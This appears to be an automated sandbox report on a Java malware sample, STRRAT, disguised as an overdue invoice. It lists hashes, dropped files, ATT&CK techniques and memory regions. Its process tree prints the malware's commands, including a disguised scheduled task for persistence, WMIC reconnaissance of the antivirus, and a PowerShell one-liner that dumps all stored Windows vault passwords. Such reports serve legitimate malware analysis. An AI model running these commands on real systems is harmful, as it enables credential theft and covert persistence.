Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    07-06-2021 07:27

General

  • Target

    Overdue invoice-960494.jar

  • Size

    99KB

  • MD5

    057ee447c12c0c2f3ce7c51f9579dbce

  • SHA1

    a24554b8a24786895a2e1d76f42751f46b5fbef9

  • SHA256

    71ed2714927d82bc3660dc53b132a843a65fa1f68e0d892ce7c40905772d8dcb

  • SHA512

    27d602531da88b9be73bba28afdbaa246e17ee0f218fa340cc8ac356afd17d973953b91dfc2d8085e19f02dd339bba39a3e0885ff30370b6150999e80ac593ce

Malware Config

Signatures

  • STRRAT

    STRRAT is a remote access tool than can steal credentials and log keystrokes.

  • Drops startup file 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Windows\system32\java.exe
    java -jar "C:\Users\Admin\AppData\Local\Temp\Overdue invoice-960494.jar"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1096
    • C:\Program Files\Java\jre7\bin\java.exe
      "C:\Program Files\Java\jre7\bin\java.exe" -jar "C:\Users\Admin\Overdue invoice-960494.jar"
      2⤵
      • Drops startup file
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:1160
      • C:\Windows\system32\cmd.exe
        cmd /c schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\Overdue invoice-960494.jar"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1064
        • C:\Windows\system32\schtasks.exe
          schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\Overdue invoice-960494.jar"
          4⤵
          • Creates scheduled task(s)
          PID:1068
      • C:\Program Files\Java\jre7\bin\java.exe
        "C:\Program Files\Java\jre7\bin\java.exe" -jar "C:\Users\Admin\AppData\Roaming\Overdue invoice-960494.jar"
        3⤵
        • Loads dropped DLL
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:816
        • C:\Windows\system32\cmd.exe
          cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1924
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1932
        • C:\Windows\system32\cmd.exe
          cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:964
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1436
        • C:\Windows\system32\cmd.exe
          cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1216
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list
            5⤵
              PID:1984
          • C:\Windows\system32\cmd.exe
            cmd.exe /c "wmic /node:localhost /namespace:'\\root\securitycenter' path antivirusproduct get displayname /format:list"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1452
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic /node:localhost /namespace:'\\root\securitycenter' path antivirusproduct get displayname /format:list
              5⤵
                PID:796
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe "[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | % { $_.RetrievePassword();$_ }"
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:580

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Execution

      Scheduled Task

      1
      T1053

      Persistence

      Registry Run Keys / Startup Folder

      1
      T1060

      Scheduled Task

      1
      T1053

      Privilege Escalation

      Scheduled Task

      1
      T1053

      Defense Evasion

      Modify Registry

      1
      T1112

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\jna-63116079\jna7593248242267508366.dll
        MD5

        e02979ecd43bcc9061eb2b494ab5af50

        SHA1

        3122ac0e751660f646c73b10c4f79685aa65c545

        SHA256

        a66959bec2ef5af730198db9f3b3f7cab0d4ae70ce01bec02bf1d738e6d1ee7a

        SHA512

        1e6f7dcb6a557c9b896412a48dd017c16f7a52fa2b9ab513593c9ecd118e86083979821ca7a3e2f098ee349200c823c759cec6599740dd391cb5f354dc29b372

      • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2455352368-1077083310-2879168483-1000\83aa4cc77f591dfc2374580bbd95f6ba_14c10c19-3a0b-4ef0-8928-af871cb14c00
        MD5

        c8366ae350e7019aefc9d1e6e6a498c6

        SHA1

        5731d8a3e6568a5f2dfbbc87e3db9637df280b61

        SHA256

        11e6aca8e682c046c83b721eeb5c72c5ef03cb5936c60df6f4993511ddc61238

        SHA512

        33c980d5a638bfc791de291ebf4b6d263b384247ab27f261a54025108f2f85374b579a026e545f81395736dd40fa4696f2163ca17640dd47f1c42bc9971b18cd

      • C:\Users\Admin\AppData\Roaming\Overdue invoice-960494.jar
        MD5

        057ee447c12c0c2f3ce7c51f9579dbce

        SHA1

        a24554b8a24786895a2e1d76f42751f46b5fbef9

        SHA256

        71ed2714927d82bc3660dc53b132a843a65fa1f68e0d892ce7c40905772d8dcb

        SHA512

        27d602531da88b9be73bba28afdbaa246e17ee0f218fa340cc8ac356afd17d973953b91dfc2d8085e19f02dd339bba39a3e0885ff30370b6150999e80ac593ce

      • C:\Users\Admin\AppData\Roaming\lib\jna-5.5.0.jar
        MD5

        acfb5b5fd9ee10bf69497792fd469f85

        SHA1

        0e0845217c4907822403912ad6828d8e0b256208

        SHA256

        b308faebfe4ed409de8410e0a632d164b2126b035f6eacff968d3908cafb4d9e

        SHA512

        e52575f58a195ceb3bd16b9740eadf5bc5b1d4d63c0734e8e5fd1d1776aa2d068d2e4c7173b83803f95f72c0a6759ae1c9b65773c734250d4cfcdf47a19f82aa

      • C:\Users\Admin\AppData\Roaming\lib\jna-platform-5.5.0.jar
        MD5

        2f4a99c2758e72ee2b59a73586a2322f

        SHA1

        af38e7c4d0fc73c23ecd785443705bfdee5b90bf

        SHA256

        24d81621f82ac29fcdd9a74116031f5907a2343158e616f4573bbfa2434ae0d5

        SHA512

        b860459a0d3bf7ccb600a03aa1d2ac0358619ee89b2b96ed723541e182b6fdab53aefef7992acb4e03fca67aa47cbe3907b1e6060a60b57ed96c4e00c35c7494

      • C:\Users\Admin\AppData\Roaming\lib\sqlite-jdbc-3.14.2.1.jar
        MD5

        b33387e15ab150a7bf560abdc73c3bec

        SHA1

        66b8075784131f578ef893fd7674273f709b9a4c

        SHA256

        2eae3dea1c3dde6104c49f9601074b6038ff6abcf3be23f4b56f6720a4f6a491

        SHA512

        25cfb0d6ce35d0bcb18527d3aa12c63ecb2d9c1b8b78805d1306e516c13480b79bb0d74730aa93bd1752f9ac2da9fdd51781c48844cea2fd52a06c62852c8279

      • C:\Users\Admin\AppData\Roaming\lib\system-hook-3.5.jar
        MD5

        e1aa38a1e78a76a6de73efae136cdb3a

        SHA1

        c463da71871f780b2e2e5dba115d43953b537daf

        SHA256

        2ddda8af6faef8bde46acf43ec546603180bcf8dcb2e5591fff8ac9cd30b5609

        SHA512

        fee16fe9364926ec337e52f551fd62ed81984808a847de2fd68ff29b6c5da0dcc04ef6d8977f0fe675662a7d2ea1065cdcdd2a5259446226a7c7c5516bd7d60d

      • C:\Users\Admin\Overdue invoice-960494.jar
        MD5

        057ee447c12c0c2f3ce7c51f9579dbce

        SHA1

        a24554b8a24786895a2e1d76f42751f46b5fbef9

        SHA256

        71ed2714927d82bc3660dc53b132a843a65fa1f68e0d892ce7c40905772d8dcb

        SHA512

        27d602531da88b9be73bba28afdbaa246e17ee0f218fa340cc8ac356afd17d973953b91dfc2d8085e19f02dd339bba39a3e0885ff30370b6150999e80ac593ce

      • C:\Users\Admin\lib\jna-5.5.0.jar
        MD5

        acfb5b5fd9ee10bf69497792fd469f85

        SHA1

        0e0845217c4907822403912ad6828d8e0b256208

        SHA256

        b308faebfe4ed409de8410e0a632d164b2126b035f6eacff968d3908cafb4d9e

        SHA512

        e52575f58a195ceb3bd16b9740eadf5bc5b1d4d63c0734e8e5fd1d1776aa2d068d2e4c7173b83803f95f72c0a6759ae1c9b65773c734250d4cfcdf47a19f82aa

      • C:\Users\Admin\lib\jna-platform-5.5.0.jar
        MD5

        2f4a99c2758e72ee2b59a73586a2322f

        SHA1

        af38e7c4d0fc73c23ecd785443705bfdee5b90bf

        SHA256

        24d81621f82ac29fcdd9a74116031f5907a2343158e616f4573bbfa2434ae0d5

        SHA512

        b860459a0d3bf7ccb600a03aa1d2ac0358619ee89b2b96ed723541e182b6fdab53aefef7992acb4e03fca67aa47cbe3907b1e6060a60b57ed96c4e00c35c7494

      • C:\Users\Admin\lib\sqlite-jdbc-3.14.2.1.jar
        MD5

        b33387e15ab150a7bf560abdc73c3bec

        SHA1

        66b8075784131f578ef893fd7674273f709b9a4c

        SHA256

        2eae3dea1c3dde6104c49f9601074b6038ff6abcf3be23f4b56f6720a4f6a491

        SHA512

        25cfb0d6ce35d0bcb18527d3aa12c63ecb2d9c1b8b78805d1306e516c13480b79bb0d74730aa93bd1752f9ac2da9fdd51781c48844cea2fd52a06c62852c8279

      • C:\Users\Admin\lib\system-hook-3.5.jar
        MD5

        e1aa38a1e78a76a6de73efae136cdb3a

        SHA1

        c463da71871f780b2e2e5dba115d43953b537daf

        SHA256

        2ddda8af6faef8bde46acf43ec546603180bcf8dcb2e5591fff8ac9cd30b5609

        SHA512

        fee16fe9364926ec337e52f551fd62ed81984808a847de2fd68ff29b6c5da0dcc04ef6d8977f0fe675662a7d2ea1065cdcdd2a5259446226a7c7c5516bd7d60d

      • \Users\Admin\AppData\Local\Temp\jna-63116079\jna6760099578065247472.dll
        MD5

        e02979ecd43bcc9061eb2b494ab5af50

        SHA1

        3122ac0e751660f646c73b10c4f79685aa65c545

        SHA256

        a66959bec2ef5af730198db9f3b3f7cab0d4ae70ce01bec02bf1d738e6d1ee7a

        SHA512

        1e6f7dcb6a557c9b896412a48dd017c16f7a52fa2b9ab513593c9ecd118e86083979821ca7a3e2f098ee349200c823c759cec6599740dd391cb5f354dc29b372

      • \Users\Admin\AppData\Local\Temp\jna-63116079\jna7593248242267508366.dll
        MD5

        e02979ecd43bcc9061eb2b494ab5af50

        SHA1

        3122ac0e751660f646c73b10c4f79685aa65c545

        SHA256

        a66959bec2ef5af730198db9f3b3f7cab0d4ae70ce01bec02bf1d738e6d1ee7a

        SHA512

        1e6f7dcb6a557c9b896412a48dd017c16f7a52fa2b9ab513593c9ecd118e86083979821ca7a3e2f098ee349200c823c759cec6599740dd391cb5f354dc29b372

      • memory/580-150-0x0000000002550000-0x0000000002551000-memory.dmp
        Filesize

        4KB

      • memory/580-149-0x000000001AD90000-0x000000001AD91000-memory.dmp
        Filesize

        4KB

      • memory/580-148-0x0000000001FA0000-0x0000000001FA1000-memory.dmp
        Filesize

        4KB

      • memory/580-146-0x0000000000000000-mapping.dmp
      • memory/580-151-0x000000001AD10000-0x000000001AD12000-memory.dmp
        Filesize

        8KB

      • memory/580-152-0x000000001AD14000-0x000000001AD16000-memory.dmp
        Filesize

        8KB

      • memory/580-153-0x0000000002580000-0x0000000002581000-memory.dmp
        Filesize

        4KB

      • memory/580-154-0x000000001C280000-0x000000001C281000-memory.dmp
        Filesize

        4KB

      • memory/796-136-0x0000000000000000-mapping.dmp
      • memory/816-98-0x00000000021A0000-0x0000000002410000-memory.dmp
        Filesize

        2.4MB

      • memory/816-104-0x0000000000120000-0x0000000000121000-memory.dmp
        Filesize

        4KB

      • memory/816-155-0x0000000000120000-0x0000000000121000-memory.dmp
        Filesize

        4KB

      • memory/816-97-0x0000000000120000-0x0000000000121000-memory.dmp
        Filesize

        4KB

      • memory/816-138-0x0000000000120000-0x0000000000121000-memory.dmp
        Filesize

        4KB

      • memory/816-137-0x0000000000120000-0x0000000000121000-memory.dmp
        Filesize

        4KB

      • memory/816-128-0x0000000000120000-0x0000000000121000-memory.dmp
        Filesize

        4KB

      • memory/816-86-0x0000000000000000-mapping.dmp
      • memory/964-131-0x0000000000000000-mapping.dmp
      • memory/1064-85-0x0000000000000000-mapping.dmp
      • memory/1068-89-0x0000000000000000-mapping.dmp
      • memory/1096-74-0x0000000000120000-0x0000000000121000-memory.dmp
        Filesize

        4KB

      • memory/1096-64-0x0000000000120000-0x0000000000121000-memory.dmp
        Filesize

        4KB

      • memory/1096-66-0x0000000000120000-0x0000000000121000-memory.dmp
        Filesize

        4KB

      • memory/1096-61-0x00000000021A0000-0x0000000002410000-memory.dmp
        Filesize

        2.4MB

      • memory/1096-69-0x0000000000120000-0x0000000000121000-memory.dmp
        Filesize

        4KB

      • memory/1096-70-0x0000000000120000-0x0000000000121000-memory.dmp
        Filesize

        4KB

      • memory/1096-60-0x000007FEFC1D1000-0x000007FEFC1D3000-memory.dmp
        Filesize

        8KB

      • memory/1096-62-0x0000000000120000-0x0000000000121000-memory.dmp
        Filesize

        4KB

      • memory/1096-63-0x0000000000120000-0x0000000000121000-memory.dmp
        Filesize

        4KB

      • memory/1160-87-0x0000000000420000-0x0000000000421000-memory.dmp
        Filesize

        4KB

      • memory/1160-78-0x0000000000420000-0x0000000000421000-memory.dmp
        Filesize

        4KB

      • memory/1160-73-0x0000000000000000-mapping.dmp
      • memory/1160-91-0x0000000000420000-0x0000000000421000-memory.dmp
        Filesize

        4KB

      • memory/1160-96-0x0000000000420000-0x0000000000421000-memory.dmp
        Filesize

        4KB

      • memory/1160-77-0x00000000020B0000-0x0000000002320000-memory.dmp
        Filesize

        2.4MB

      • memory/1216-133-0x0000000000000000-mapping.dmp
      • memory/1436-132-0x0000000000000000-mapping.dmp
      • memory/1452-135-0x0000000000000000-mapping.dmp
      • memory/1924-129-0x0000000000000000-mapping.dmp
      • memory/1932-130-0x0000000000000000-mapping.dmp
      • memory/1984-134-0x0000000000000000-mapping.dmp